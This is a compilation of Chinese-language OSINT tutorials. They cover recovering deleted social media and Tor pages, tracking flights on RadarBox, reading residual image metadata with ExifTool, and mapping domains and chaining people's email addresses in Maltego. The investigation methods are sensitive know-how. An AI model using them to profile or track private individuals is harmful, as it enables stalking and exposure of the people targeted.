——如果你正在研究的社交媒体网站/帖子已被删除——

如果您足够幸运能够获得一些信息，包括用户名、用户ID或帖子的链接，这在搜索该内容时会有很大帮助。

比如我们介绍过的 Google“dorks”。Google dorks 只是在 Google 搜索引擎上执行的高级搜索。请查看您目前所获得的信息; 如果您有用户ID，请尝试搜索类似 inurl 的内容：userID（或用户名）也许**ID**或名称已在其他网站上使用过。详见：《高级运算符辅助开源调查》

或者，如果您也知道他们使用了什么平台，请尝试搜索NameOfPlatform“userID”（或“username”）。而且还有很多其他选择，见上面链接，都可以试试。

当有人更改了用户名（因此看起来内容好像被删除）时，按用户ID搜索会非常方便。这是一个唯一的编号，由您使用的平台给出，用户无法更改 ID。这适用于 Instagram; 因为有很多网站显示 Instagram 的内容，你可以很幸运地在那里找到信息。

很多人喜欢在其他平台上使用相同的用户名。像 **Namechk**，**Namecheckr** 和 **Usersearch** 这样的网站都可以让你检查用户名是否在各种平台上使用过。您可以跟踪同一用户的其他配置文件。如果你很幸运; 他们还可能会将某些帖子自动转发到该平台。

Google＋ 将在2019年4月初关闭。这意味着他们的平台将不再可搜索。但Archive.org是一个很棒的团队，因为他们正在开发一个项目，以便尽可能归档 Google＋ 内容。

他们以前还归档过 MySpace，这是一个在 Facebook 出现之前非常受欢迎的社交网络，例如，荷兰 DJ Hardwell 的 MySpace 个人资料在Archive.org中有多个条目。Hyves（在 Facebook 出现之前在荷兰很受欢迎的平台）现在是一个游戏平台，也有 DJ Hardwell 的多个条目。

如果有特定帖子已被删除，检索信息可能会有点困难。有时 Google Cache 和 Archive 会提供结果，如果没找到，您最好的机会是搜索可能已经发表过帖子的人，并且可能被保存了的屏幕截图。当然如果你是警察和间谍，网站会提供缓存给你。

——如果你正在研究的**Tor**网站已被删除——

虽然互联网的很大一部分存档得都很好，但对于 Darkweb 来说却不一样。但是，有几个有趣的事您值得了解。

有几个项目，比如 onion.link 有时能帮你显示网站副本；尝试使用Tor2Web 代理软件通过普通网络上的搜索引擎也能搜索到Darkweb。

在 Google，Bing 或 Duckduckgo 中搜索完整的洋葱网址时，可能会找到该网页的副本。如果你很幸运，还有可能找到一个缓存版本。

有很多站点可以跟踪 **Darkweb** 上发生的任何事情。其中一些保留了

流行的 Darkweb 网站的图表，并发布了特定页面的截图（例如 Darkwebnews）可以检查是否有人存档/缓存了像 Darkwebnews 这样的网站，您可能能够找到您要查找的内容。

此外，Deepdotweb.com和 Reddit （或 Dreadditevelidot.onion，通过Tor）等网站都有关于各种 Darkweb 页面的信息。也许某人已经发布了您感兴趣的网站的帖子，并且可能包含截图。

或尝试免费的 Hunchly 每日暗网报告。每天您都会收到一个 Excel 电子表格的链接，但要小心，它不会被过滤，所以你可能会遇到非法内容。虽然这可能不会显示任何屏幕截图，但它会为您提供有关该网站上的内容的一些线索。

——预防措施——

因为做调查报告需要时间，如果您担心在调查过程中内容或平台被删除，你可以采取一些预防措施。

如果您无法获得 Hunchly 许可证，您可以随时使用 Archive.org（他们有Chrome和FireFox的插件）或 Archive.is（将顶部的按钮拖到您的书签）来存档你正在做的事。缺点是，您存档的信息将公开提供给其他用户。但至少你知道你的数据不会丢失。

如果您担心某些内容可能会被删除，您可以随时截取屏幕截图。为此目的，也有许多附加组件、应用程序和其他软件。

在 Chrome 扩展 SingleFile 让您保存您正在浏览的、之后离线浏览的或采取截图的 MHTML 文件；Scroll ++在此也是一样的，而且它在Firefox也能用。

此外，在进行在线研究时，让 Hunchly 跟踪您的调查几乎是您不可或缺的好处。它将跟踪您正在研究的所有内容，保存它们，允许您随时搜索它们等等。它的创建者贾斯汀塞茨（Justin Seitz）撰写了相关博客，并提供免费的网络研讨会，介绍如何以最有效的方式使用 Hunchly。

总之，巧妙地存档和检索数据，可以帮助您的 OSINT 研究更加成功。 广告

原文

看灰机：开源情报如何追踪天上的东西？ - iYouPort

开源情报-每个人都可用的武器

有很多工具可以帮您做到这点。但您只需要选一个最趁手的……

「图」

「图」

互联网上有太多数据，因此问题不在于数据是否可用，而是在于，在哪能找到它们。

有些时候的调查工具需要跟踪航班的动向，比如下面这个侦探挑战：

- 《空荡荡的蓝天上掠过一架飞机……你能知道地理位置吗？- 史上最难的侦探挑战》

👌 您可能需要跟踪强大而邪恶的目标人的行踪、或跟踪军事飞行以揭穿政府和军方的谎言。

也许您想跟踪从特定机场起飞的航班数量、或特定类型的飞机、或某航空公司的航班，所有这些调查都可能来自开源资源。

hackers-arise 介绍了航班跟踪信息网站是 RadarBox.com。以下是操作方法。《Open-Source Flight and Aircraft Tracking Data》

技术

广播式自动相关监视（ADS-B）——

ADS-B 是使开源调查人员跟踪航班的基本技术。飞机越来越多地被制造或装备有ADS-B应答器，此数据未经加密，很容易被地面天线拾取。

这项技术正在迅速取代旧的地面雷达系统。美国联邦航空局（FAA）要求，2020年1月1日开始，美国大多数领空中的所有飞机都必须配备ADS-B应答器。

呼号 ——

呼号是飞机在飞行过程中使用的唯一标识符。商用飞机倾向于使用取决于其航线的呼号。私人飞机倾向于使用其注册号。在商用航班上，每次飞行的呼号可能都会改变。

注册登记 ——

飞机的登记与汽车很相似。每架飞机都有一个注册号。该注册号显示在其尾部。这些注册号对于每个国家来说都是唯一的。在一个国家拥有和注册的飞机在另一国家购买和注册时将更改其注册号。

序列号—

制造商为每架飞机分配了序列号。这类似于车辆上的VIN（车辆识别号）。就像汽车上的VIN一样，该序列号是不可变的。

这对于在所有者、注册机构和国家/地区之间随时间推移跟踪目标飞机的调查来说会很有用。

现在来尝试一下开始跟踪来自世界各地的飞机和航班。

步骤1：在 RadarBox.com 上开设一个免费帐户

当您开始开设账户时会看到类似于下面这样的屏幕。它显示了全球几乎所有的实时航班。

「图」

「图」

「图」

「图」

我们可以导航到任何城市、地区或国家，类似于Google地图。

如果导航到佛罗里达州南部地区并放大，则会看到每架飞机都在地图

上的位置有详细的标注，包括每架飞机的注册号、始发地和目的地、以及飞机的类型。

「图」

「图」

然后，您可以单击任何感兴趣的飞机，可以进一步了解该飞机和航班的详细信息。

「图」

「图」

正如您在上面所看到的，现在您已经有了这些信息；

- 飞机所有者 —— UPS
- 航班的始发地和目的地（从迈阿密到危地马拉）
- 登记号码 —— N35UP
- 飞机类型 —— 波音767-AERF
- 飞机序列号 —— 37867/1006

步骤**2**：追踪飞行

您可能想要跟踪UPS从迈阿密飞往危地马拉的航班。可以单击左下方的 “查看路线”，Radarbox 将向您显示航班的路线。

「图」

「图」

如果要跟踪这家航班，可以单击左下方的 “follow” 按钮，然后可以在整个飞行路线中跟随该航班。

「图」

「图」

步骤**3**：升级

尽管此站点上有很多信息可以免费获得，但您会注意到，免费用户仅在10分钟后就会被显示超时。

此外，某些功能也会对免费用户关闭，例如；水平速度、垂直速度、飞机年龄和其他几项数据。并且，免费用户只能获得7架飞机的历史记录。

Radarbox 有几种类型的付费帐户。本文选择了每月$ 2.45的“spotter” 帐户，您可以选择任何适合您的调查需求的模式。如下，

「图」

「图」

升级后，您可以查看有关此飞机和航班的更多信息。

「图」

「图」

注意，现在，我们看到如下信息：#Ground speed

- Vertical speed
- Aircraft age

如果单击飞机类型，在本例中为 Boeing 767–300，它会显示当时空中每一个此种类型的飞机。

「图」

「图」

当您单击注册号时，它将提供有关该特定飞机的所有关键信息。

「图」

「图」

如果向下滚动，则可以单击飞行日志...

「图」

「图」

或者我们可以显示该飞机过去30天内的飞行历史记录（免费帐户为7天，企业帐户为365天）。

「图」

「图」

最后

互联网是世界历史上最大的数据存储库。关键是知道在哪里以及如何找到它。对于飞机和飞行数据，有很多站点可以做到，但我更喜欢 radarbox.com。

如果您的调查中需要了解飞机和航班的信息，那么这个应该是理想选择。〇

Open-Source Flight and Aircraft Tracking Data

原文

社交媒体照片也能找到元数据痕迹以实现追踪，这件事怎么做？ - iyouport

开源情报-每个人都可用的武器让它民主-公民掌握真相的技巧和技术

【2020年10月21日存档】人们总是认为主流社交媒体平台都会自动删除用户上传的照片中的元数据，的确如此，但是，事实上并没有完全删除。这篇文章介绍了如何挖掘社交媒体上上传的照片中残留的元数据，并且能帮您识别是否AI生成的假照片、以及是否被PS过

将照片用于开源情报调查并不是什么新鲜事，但几乎所有这类工作都集中在图像的视觉内容上。鲜为人知的是图像元数据和文件数据对研究目的的高价值。

除了图像的视觉外观之外，图像文件中往往还隐藏着同样有用的附加信息。这些数据类型中最著名的是EXIF数据。EXIF是一个信息金矿，因为它包含了关于相机的信息、设置、有时甚至是位置数据，但如果您在网络或任何类型的社交媒体平台上遇到图像中的EXIF数据，您都会是非常幸运的。

因为大多数平台都会从图像中删除EXIF数据，能找到它是相当罕见的。这意味着使用主要来源的图像总是比经过处理的二手图像更好 —— 但这并不意味着我们应该完全放弃图像元数据。

nixintel 在这篇文章中深入探索了数字取证的世界，并证明了仍然有一些小细节隐藏在网络图像中，可以被挖掘到。

工具

「图」

有一些工具可用于从JPEG图像文件中提取数据。这篇文章将介绍3种这样的工具。

Forensically —— 这是一款非常简单的基于网络的图像取证工具，可在浏览器中运行。只需用 “打开文件” 加载一张图片就可以开始分析。“元数据”、“地理标签” 和 “字符串提取” 等选项卡将对获取所需的数据非常有用。

Exiftool —— 这是一个简单但非常强大的工具，用于从许多不同类型的文件中提取元数据，而不仅仅是图像。它可以在 Windows、Mac 和 Linux 上运行。这里有一个简单的安装指南，还有一个有用的 Windows 视频教程。它并不像 Forensically 那样可以立即使用，但是它对于查看被恢复的元数据更有效。

Bless —— Bless 是一款十六进制编辑器，它允许您以最原始的形式查看文件的结构。HxD 也是一个很好的 Windows 十六进制查看器，但任何十六进制编辑器都可以达到这个目的。使用十六进制查看器是检查文件结构的最全面的方法，它可以让您非常精确地检查元数据。

JPEG里面有什么？

「图」

每种类型的文件都有自己的数字签名 —— 这是计算机区分.doc 和 .exe 的方法。在 Windows 中，操作系统会查看文件末端的扩展名（如.pdf，.xls），以决定使用什么程序来运行该文件。

每个文件都以十六进制文件签名开始，它告诉操作系统它是什么样的文件。一个.exe文件以 **4D 5A** 开头，一个.docx文件以 **50 4B 03 04** 开头，一个JPEG图像文件以 **FF D8** 开头，以此类推。这里有一份完整的常用签名列表。如果这对您来说完全陌生也不用担心，很快就会清楚了。

这意味着，当计算机在读取数据时，在文件的开头看到 “**FF D8**”，它就会知道这是一个 JPEG 文件。文件的结尾处有一个相应的 “**FF D9**” 来标记。以新闻中的一张图片为例。下面是您的电脑如何将图片呈现给您。

下面是电脑如何看到同一张图像。通过用十六进制阅读器打开它，您可以看到的东西（几乎）和电脑看到的一样。请注意，它以文件签名 FF D8 开始，这表明它是一个JPEG文件。

文件以 FF D9 结尾，表示JPEG的结尾：

「图」

那么，这与EXIF和其他文件数据有什么关系呢？—— 正如有特定的十六进制字符表示JPEG文件的开始和结束一样，文件中还有其他十六进制模式，表示在哪里可以找到特定种类的信息。

这些都位于文件头中，这是文件的第一部分，在与实际图像本身有关的主要数据之前。这里有一个所有有用的JPEG代码的完整列表，但只有其中几个我们感兴趣的。

FF E1 —— 文件中任何EXIF数据的开始。

FF E2 —— ICC配置文件是一组决定特定设备如何显示颜色的属性。这对开源情报调查来说很重要，因为即使大多数网站删除了EXIF数据，而ICC配置文件通常也会完好无损（假设它一开始就存在的话）。对于某些设备来说（如苹果产品），有时仍有可能通过这些信息来确定设备的制造商。

FF ED —— Photoshop 和 IPTC 数据。该标记表示 Photoshop 处理后产生的元数据的开始。IPTC 数据包含其他信息，如 版权信息、摄影师的详细资料和标题等。即使在未经修改的情况下这些数据往往也不会出现在照片中，但当它出现时，就非常有用。

通过实际示例更容易看到这一点，下面来试一下。

示例：带有**EXIF**数据的照片

下面这张照片来自最近的CNN文章。 虽然他们并不总是从其网站的图像中删除 EXIF 数据。这里有直接指向图片的链接。

首先，将其保存并上传至 Forensically。以下是 “元数据” 标签显示的内容：

里面有很多有用的细节。ImageDescription 字段也被填充了。在 “字符串提取” 选项卡中也有其他的信息片段：

此JPEG标头中的大量数据使其成为使用十六进制编辑器检查文件的良好测试对象。十六进制格式的文件如下所示：

请注意，EXIF数据是如何在右侧栏中可见的。我们已经知道，一个JPEG的EXIF部分以 **FF E1** 开始，所以我们可以 Ctrl＋F 找到这部分文件。它就在文件签名之后的开头部分：

「图」

接下来，可以通过搜索 FF E2 来检查ICC配置文件，在此特定图片中找不到它。但是存在 FF ED 字段（Photoshop和IPTC数据），因此您能知道该文件可能已经被P过了：

「图」

文件的十六进制视图提供了最高级别的详细信息，但它并不总是最容易阅读。Forensically 在提取和显示大多数数据方面做得很好，但是在我看来，ExifTool 做得更整洁。此处显示了一些元数据的选择方式：

由于照片已被 Photoshop 处理，Photoshop 活动的创建和修改时间戳被嵌入到图像中。

这些 Photoshop 编辑时间戳与您在计算机中的所有文件上找到的创建/修改/访问的时间戳不同 —— 这些时间戳来自设备自身的文件系统，并非文件头本身的固有部分。

这都是非常有用的，但您已经知道，几乎没有任何网络图像包含EXIF数据，即使存在，也已经有很多像 Jeffrey's EXIF Viewer 这样易于使用的工具，可以轻松地提取这些数据，那还有什么意义呢？

正如我们看到的那样，并不是所有文件头里面的数据都是EXIF数据，但只要懂得深入挖掘，您就仍然可以找到有用的原始数据碎片，而这些碎片正是**EXIF**删除工具所忽略的。

我们也会看到，各大平台都会以自己特色的方式删除EXIF数据，这实际上可能会让您更容易识别一张图片的来源。

一切都没有丢失……

「图」

几乎每个主要的平台都会删除元数据，但它们都以不同的方式进行。去年 IPTC 做了一个全面的测试，对于许多流行的社交媒体和图像托管平台，它们都是如何处理EXIF和IPTC数据的。正如您所看到的那样，每个平台处理文件的方式都不一样：

有时您可以看到平台如何剥离数据。例如下面这张照片，是在Ebay上出售的一辆自行车，可以查看其文件的十六进制视图，甚至可以告诉

您使用的是什么软件：

「图」

就在您希望 EXIF FF E1 字段出现的地方，有一个替代问候语 “Processed By eBay with ImageMagick”。**ImageMagick** 是一个常见的**EXIF**删除工具（如果您愿意，也可以说它是**EXIF**伪造工具，但那是另一回事…）。至少您现在知道如何判断一张图片是从**Ebay**借来的了！

然而并不是所有的网站在删除元数据时都会留下如此明目张胆的痕迹，每个网站的处理方式都不一样。在接下来的文章中将会展示一些热门网站是如何处理图片元数据的，在处理的过程中包含了各自的特色。

Facebook

「图」

首先来看看 Facebook 的下面这张照片。

这张图片的文件名是：88004843_10111606095638101_261759268640784384_o.jpg。这种特殊的文件命名格式来源于 Facebook 存储其数十亿图片的独特方式。

您可以在这里阅读更多关于他们巧妙的 Haystack 存储系统，但 Facebook 上每张图片的文件名实际上是表示 Facebook 庞大生态系统中特定硬盘集群上的一个特定块，而不是与它的账户来源有关。

这样做的结果就是，Facebook 的图片文件名是非常独特的。

下面、使用 ExifTool 来查看该文件本身：

```
ExifTool Version Number : 10.80

File Name :
84068253_10111506635776461_6848249074852823040_o.jpg

Directory : .

File Size : 371 kB
```

File Permissions : rw-rw-r--

File Type : JPEG

File Type Extension : jpg

MIME Type : image/jpeg

Profile CMM Type :

Profile Version : 2.0.0

Profile Class : Display Device Profile

Color Space Data : RGB

Profile Connection Space : XYZ

Profile Date Time : 2009:03:27 21:36:31

Profile File Signature : acsp

Primary Platform : Unknown ()

CMM Flags : Not Embedded, Independent

Device Manufacturer :

Device Model :

Device Attributes : Reflective, Glossy, Positive, Color

Rendering Intent : Perceptual

Connection Space Illuminant : 0.9642 1 0.82491

Profile Creator :

Profile ID : 29f83ddeaff255ae7842fae4ca83390d

Profile Description : sRGB IEC61966-2-1 black scaled

Blue Matrix Column : 0.14307 0.06061 0.7141

Blue Tone Reproduction Curve : (Binary data 2060 bytes, use -b option to extract)

Device Model Desc : IEC 61966-2-1 Default RGB Colour Space - sRGB

Green Matrix Column : 0.38515 0.71687 0.09708

Green Tone Reproduction Curve : (Binary data 2060 bytes, use -b option to extract)

Luminance : 0 80 0

Measurement Observer : CIE 1931

Measurement Backing : 0 0 0

Measurement Geometry : Unknown

Measurement Flare : 0%

Measurement Illuminant : D65

Media Black Point : 0.01205 0.0125 0.01031

Red Matrix Column : 0.43607 0.22249 0.01392

Red Tone Reproduction Curve : (Binary data 2060 bytes, use -b option to extract)

Technology : Cathode Ray Tube Display

Viewing Cond Desc : Reference Viewing Condition in IEC 61966-2-1

Media White Point : 0.9642 1 0.82491

Profile Copyright : Copyright International Color Consortium, 2009

Chromatic Adaptation : 1.04791 0.02293 -0.0502

```
0.0296 0.99046 -0.01707 -0.00925 0.01506 0.75179

JFIF Version : 1.01

Resolution Unit : None

X Resolution : 1

Y Resolution : 1

Current IPTC Digest :
2aa1d117b0d20226dcefbb16249a023f

Original Transmission Reference :
GggUWrgwZ9hSQFQXeGJa

Image Width : 1504

Image Height : 1505

Encoding Process : Progressive DCT, Huffman coding

Bits Per Sample : 8

Color Components : 3

Y Cb Cr Sub Sampling : YCbCr4:2:0 (2 2)

Image Size : 1504x1505

Megapixels : 2.3
```

这些数据中的绝大部分都与图像的颜色设置有关。即使是看起来很有趣的字段 “Profile ID” 也是指一个非唯一的颜色配置文件设置，而不是像用户个人资料这样的特定东西。然而，这张 Facebook 图片的独特之处在于 IPTC Digest 哈希值。

当前的 IPTC Digest： 2aa1d117b0d20226dcefbb16249a023f。

这是从与图像相关的 IPTC 数据中得出的唯一哈希值。

我们无法访问IPTC数据本身，但这个哈希值仍然很有用，因为它是一种唯一性的形式。这个数据字段在去年被广泛误报为另一种形式的

“Facebook追踪”，甚至是某种隐写术。

可以肯定的是，Facebook 跟踪你的方式有无数种，但这不是其中之一。IPTC 更类似于一种版权标记的形式，但仅此而已。

作为一个研究者，需要知道的是，如果我从 Facebook 上获取一张图片，并更改文件名，元数据里面的原始 IPTC Digest 仍然没有变化。以下是我将 **88004843_10111606095638101_261759268640784384_o.jpg** 重命名为 **someimage.jpg**，再通过 Exiftool 运行时的情况。也是同样的结果：

Current IPTC Digest : 2aa1d117b0d20226dcefbb16249a023f

但是，如果我改变图像中的一个像素并重新保存，所有原始元数据都会丢失：

```
File Type : JPEG

File Type Extension : jpg

MIME Type : image/jpeg

JFIF Version : 1.01

Resolution Unit : None

X Resolution : 1

Y Resolution : 1

Image Width : 1504

Image Height : 1505

Encoding Process : Baseline DCT, Huffman coding

Bits Per Sample : 8

Color Components : 3

Y Cb Cr Sub Sampling : YCbCr4:2:0 (2 2)
```

```
Image Size : 1504x1505

Megapixels : 2.3
```

至少这不是一种非常有效的跟踪方式。

Twitter

「图」

Twitter也会删除元数据，但当文件从苹果设备上传时，它确实会让 ICC Profile 字段（FF E2）和 Photoshop 元数据字段（FF ED）不受影响。下面是 Julia Bayer 发布的一张旧照片作为例子：

在 Forensically 中打开图像并选择 “String Extraction” 会从 FF E2 和 FF ED 字段中提取信息：

那里还有一些原始元数据尚未删除。 使用 Exiftool 可以使其更易于阅读：

```
ExifTool Version Number : 10.80

File Name : EP4i4PqUUA86HSg.jpeg

Directory : .

File Size : 284 kB

File Modification Date/Time : 2020:02:18
19:34:40+00:00

File Access Date/Time : 2020:02:18 19:34:40+00:00

File Inode Change Date/Time : 2020:02:18
19:34:40+00:00

File Permissions : rw-rw-r--

File Type : JPEG

File Type Extension : jpg

MIME Type : image/jpeg
```

JFIF Version : 1.01

Resolution Unit : None

X Resolution : 72

Y Resolution : 72

Profile CMM Type : Apple Computer Inc.

Profile Version : 4.0.0

Profile Class : Display Device Profile

Color Space Data : RGB

Profile Connection Space : XYZ

Profile Date Time : 2017:07:07 13:22:32

Profile File Signature : acsp

Primary Platform : Apple Computer Inc.

CMM Flags : Not Embedded, Independent

Device Manufacturer : Apple Computer Inc.

Device Model :

Device Attributes : Reflective, Glossy, Positive, Color

Rendering Intent : Perceptual

Connection Space Illuminant : 0.9642 1 0.82491

Profile Creator : Apple Computer Inc.

Profile ID : ca1a9582257f104d389913d5d1ea1582

Profile Description : Display P3

Profile Copyright : Copyright Apple Inc., 2017

Media White Point : 0.95045 1 1.08905

Red Matrix Column : 0.51512 0.2412 -0.00105

Green Matrix Column : 0.29198 0.69225 0.04189

Blue Matrix Column : 0.1571 0.06657 0.78407

Red Tone Reproduction Curve : (Binary data 32 bytes, use -b option to extract)

Chromatic Adaptation : 1.04788 0.02292 -0.0502 0.02959 0.99048 -0.01706 -0.00923 0.01508 0.75168

Blue Tone Reproduction Curve : (Binary data 32 bytes, use -b option to extract)

Green Tone Reproduction Curve : (Binary data 32 bytes, use -b option to extract)

IPTC Digest : d41d8cd98f00b204e9800998ecf8427e

Image Width : 1604

Image Height : 2048

Encoding Process : Progressive DCT, Huffman coding

Bits Per Sample : 8

Color Components : 3

Y Cb Cr Sub Sampling : YCbCr4:2:0 (2 2)

Image Size : 1604x2048

Megapixels : 3.3

该图像仍然保留了元数据，该元数据显示它是使用 Apple 设备创建的：

```
Profile Creator : Apple Computer Inc.

Profile ID : ca1a9582257f104d389913d5d1ea1582

Profile Description : Display P3

Profile Copyright : Copyright Apple Inc., 2017
```

尽管 Twitter 删除了 FF E1(EXIF) 字段之后的大部分图像元数据，但它仍然保留了其他元数据字段。

这似乎只适用于苹果设备，但这是一个微小的信息碎片，可能对信息验证 ——证明或反驳图像信息 —— 很有用，这种方法经常被忽视很不应该。

Reddit 对来自苹果设备的照片也会留下同样的元数据。下面是一个例子：

尽管删除了所有其他数据，但在此图像中依然能看到相同的来自 Apple 的痕迹：

```
Profile CMM Type : Apple Computer Inc.

Profile Version : 4.0.0

Profile Class : Display Device Profile

Color Space Data : RGB

Profile Connection Space : XYZ

Profile Date Time : 2017:07:07 13:22:32

Profile File Signature : acsp

Primary Platform : Apple Computer Inc.

CMM Flags : Not Embedded, Independent

Device Manufacturer : Apple Computer Inc.

Device Model :
```

Device Attributes : Reflective, Glossy, Positive, Color

Rendering Intent : Perceptual

Connection Space Illuminant : 0.9642 1 0.82491

Profile Creator : Apple Computer Inc.

Profile ID : ca1a9582257f104d389913d5d1ea1582

Profile Description : Display P3

Profile Copyright : Copyright Apple Inc., 2017

AI 生成的图像

「图」

上一次 OSINTCurious 讨论了像 Facebook 这样的服务是否可以使用图像元数据和文件名来检测虚假的个人资料图片，比如这个目标人是否不存在。以前我们也介绍过用**AI**生成不存在的人的脸部照片的方法：

- 《完美替身》

为了看看这些图片会产生什么样的元数据，创建了下面这张图片，这是AI创建的，此人并不存在，然后通过 Exiftool 和 Bless 运行它。

很多标准的元数据字段都存在（都是以 'FF' 开头），但它们都是空白的，实际上不包含任何数据。这肯定是不寻常的，因为大多数真实的个人资料图像至少会包含一些**JPEG**头信息，而这个图像几乎完全是空白的。

这就足够证明它是由电脑软件而不是相机创建的图像。

这可能是 Facebook 标记用这些图片创建的个人资料的一个方法吗？有可能，但不完全确定。部分原因是有很多活跃的个人资料使用这些图像而没有任何问题，目前无法知道究竟是什么触发了 Facebook 认为某个账户的个人资料不真实。

关于可检索的 Photometadata 类型的信息，建议您阅读这篇详细的指

南。〇

The Secret Life Of JPEGs

原文

社交工程工具用于开源情报调查：0基础初学者指南 - iYouPort

开源情报-每个人都可用的武器

不要做坏事，不要伤害无辜的人！这是终极警告。

「图」

「图」

IYP 曾经简单介绍过 Maltego，见这里《侦查和欺骗：这里是社交工程攻击必备的技术工具》；当然你看到了，这是作为社交工程进攻的技术工具。

但是 Maltego 也绝对是可以同时用于开源情报调查的有利工具。

而且基本可以说是最强大的工具。

本文将作为“开源情报”栏目出现，具体介绍 **Maltego** 在挖掘真相中的使用方法 —— 无需技术基础，任何人都可以使用。

首先需要强调 **Maltego** 的免责声明：该公司澄清他们的软件不得用于非法行为；“如何使用该软件的方式没有限制，但是，⚠绝不能将其用于非法行为（包括收集用以发送垃圾邮件的电子邮件地址等，都不行）……

他们还补充说：“如果使用这个软件导致出现问题，你不能以任何方式责备我们。如果你使用这个软件导致遇到麻烦（比如诉讼）那么这就是你的问题。”

所以，您知道了，⚠这就是规矩 —— 做正确的事；当你预计使用该工具挖掘真相的结果是惹恼当权者的时候，"你需要在整个操作过程中做好充分的匿名"，已防止被追踪迫害。

好了，现在我们开始！

什么是 **Maltego**？以及为什么将它用于开源情报调查？

Maltego 是一种高能的数据挖掘工具，可挖掘各种开源数据资源，并使用这些数据创建用于分析的直观的可视化图表。

通过这些图表，您可以轻松地在名称、电子邮件组织结构、域名、文档等信息之间建立联系。可以清楚地看到调查对象私密的全景。

Maltego 使用 Java，因此它可以在 Windows、Mac 和 Linux 上运行，并且可以在 Buscador 或 Kali 等许多 OSINT Linux 发行版中使用。

顺便回顾一下我们为初学者设置的调查工具环境《构建你的自定义 **OSINT**机器》“第一部分”、“第二部分”、“第三部分”、“第四部分”、“第五部分”。

基本上，Maltego 会解析大量信息并为您搜索各种开源网站，然后抛出一个漂亮的图表，帮助您将各个部分组合在一起。

很棒吧。事实上就是非常棒，它是 the best。

Maltego 可以在调查期间的任何时候用作资源，但如果你的目标是一个域，那么你应该从一开始就使用 Maltego 映射网络。

「图」

「图」

我应该下载哪个 **Maltego** 版本？

有几种版本的 Maltego 可用：

- Maltego XL —— 适用于大量数据的高级版本；
- Maltego Classic —— 付费版本，包括所有 APIs（transforms）；
- Maltego CE —— 免费版本，限制 API（transforms）；
- Casefile —— 包含大部分与商业版本相同的功能，但不可用于商业用途，在返回结果时也有相应的数量限制，不支持导出结果图表

Maltego Classic、Maltego XL 和 Maltego CE 之间的主要区别在于可以从单个转换返回的实体数量、以及可以在单个图形上的最大实体数

量。

出于本指南的目的，这里将使用的是 Maltego CE，这是一个有限转换的免费版本。

Maltego 就预装在 Buscador Linux 发行版中，这通常是开源情报调查员的最爱。

「图」

「图」

https://docs.maltego.com

安装 **Maltego**

Buscador：如果你有通过 Buscador 的 Maltego，它最初将作为 Casefile 版本出现。你需要去 Paterva 网站创建一个帐户。

创建帐户后，您将收到一个密钥，将您的 Casefile 版本转换为CE。

Kali：Maltego 预装在 Kali 上。您需要前往 Paterva 网站并创建一个帐户。

创建帐户后，您将收到一个允许您使用 Community Edition 的密钥。

Fresh Install：如果您在Win、Mac 或 Linux 上进行全新的安装，请参阅 Paterva 提供的分步指南。

「图」

「图」

Windows版本中的Transforms的屏幕截图

API 是一个应用程序编程接口，简单来说就是将 Shodan 和 Threatminer 等其他软件与 Maltego 连接起来。

Maltego 将这些连接称为“Transforms”，如果您正在运行 Maltego CE，您会发现某些 Transforms 是免费的而其他 Transforms 是付费的。

运行免费版 Maltego 的缺点是，并非所有 Transforms 都已预先安

装；因此，要使用它们，您可能需要在每个站点上注册以获取APIcode从而激活相应的 Transforms。

根据您的需要，您可以专注于为开源情报、威胁情报、组织映射等等目标进行的特定转换，明确目标，这将缩小您需要为激活所做的工作量。

下面就开始进入状态吧。

如何执行简单的网络侦察？

从一个域名开始，可以绘制出组织的结构，包括他们拥有的其他站点。

令人惊讶的是，仅仅通过使用域名而无需使用其他任何东西，就可以找到大量的信息。

单击左上角的 **new graph** 按钮，将打开一个空白的新窗格。

「图」

「图」

new graph

从左侧的 **Entity Palette** 滚动，直到找到 **Domain**，然后将其拖到空白图形窗格中。

「图」

「图」

在选项板中找到“Domain”

双击域图标并将名称更改为您要调查的域名，这里选择的是hbo.com。

「图」

「图」

右键单击域图标，这将打开“Run Transforms”框。

在这里你可以慢慢滚动和选择来非常具体地搜索你要找的内容，但本指南会疯狂一点，只选择 **Run All Transforms**，也就是选择它旁边的小快进箭头。

「图」

「图」

Run All Transforms on the domain

一旦选择了 Run Transform，Maltego 就会开始工作绘制网络结构。

注意：在窗格的左侧，有几个选项可用于以不同的布局查看图形，你可以选择你想要的样子。

「图」

「图」

Screenshot of hbo.com domain

您可以在下面的图中看到弹出的各种信息，包括DNS服务器、相关网站、相关电子邮件、电子邮件服务器……等等。

「图」

「图」

Image showing network

您可以使用这些关系信息进行更详细的关系解剖，例如 与电子邮件和电话号码相关联的名字是什么？等等。

「图」

「图」

仔细看在这里例子中，与 hbo.com “Thomas Peterson”有关的人是谁。要做到这点，右键单击 Thomas 的图标并运行 All Transforms。

「图」

「图」

完成运行时，将添加所有 Thomas Peterson 相关电子邮件的附加图表。

「图」

「图」

Thomas Peterson’s emails

有时这会导致一些奇怪的发现。在进行类似的搜索时，本指南就偶然发现了许多有趣的/隐藏的电子邮件。比如下面这样，

「图」

「图」

Image of Thomas Peterson’s email associations

如何在 **Maltego** 中运行电子邮件地址调查？

如上的发现，我对 Thomas 的 Rick Grimes Tormail 地址感到好奇，所以我决定仔细看看。

以与上一步骤相同的方式创建新图表。

这次，在选项板中选择电子邮件地址，然后将其拖到空白图表中。

「图」

「图」

双击电子邮件地址图标，将文本更改为要搜索的电子邮件地址。在这里的情况下，使用的是 “realrickgrimes@tormail.org”

「图」

「图」

右键单击电子邮件地址图标，然后选择快进箭头运行 All Transforms。

「图」

「图」

运行起来后会弹出一个图形，显示该地址的所有连接关系。

你可以在这里看到 realrickgrimes@tormail.org 连接到一个名字“Rick Grimes”，然后连接到其他几个电子邮件。

我对 Rick 和 carl.grimes1995@gmail.com 的联系很感兴趣，所以我决定在该电子邮件上运行另一个‘ all transforms’。

「图」

「图」

Running all transforms on the email address

通过 carl.grimes1995@gmail.com 这个线索，又关联出了另外几个有趣的人，比如 Carl Grimes 和 Steve Brule。

越来越深入了是吧。接下来对其中一个“Steve Brule” 做同样的调查。

「图」

「图」

Steve Brule 这个名字引导出了 steve@checkitout.com 和 steve@brule.com 以及网站 checkitout.com。

「图」

「图」

我尝试访问该网站，但它没有活动，所以我做了一个快速的 WhoIs 查询。

WhoIs 搜索的结果中注册公司返回了 CSC Global，后者运营着一家数字品牌服务和域名管理公司。

「图」

「图」

之前的注册人是赫斯特国际集团。

「图」

「图」

非常清晰是吧。

正如您所看到的，只需在 Maltego 内进行简单的域名和电子邮件搜索，您就可以完成一百万个有趣的调查！

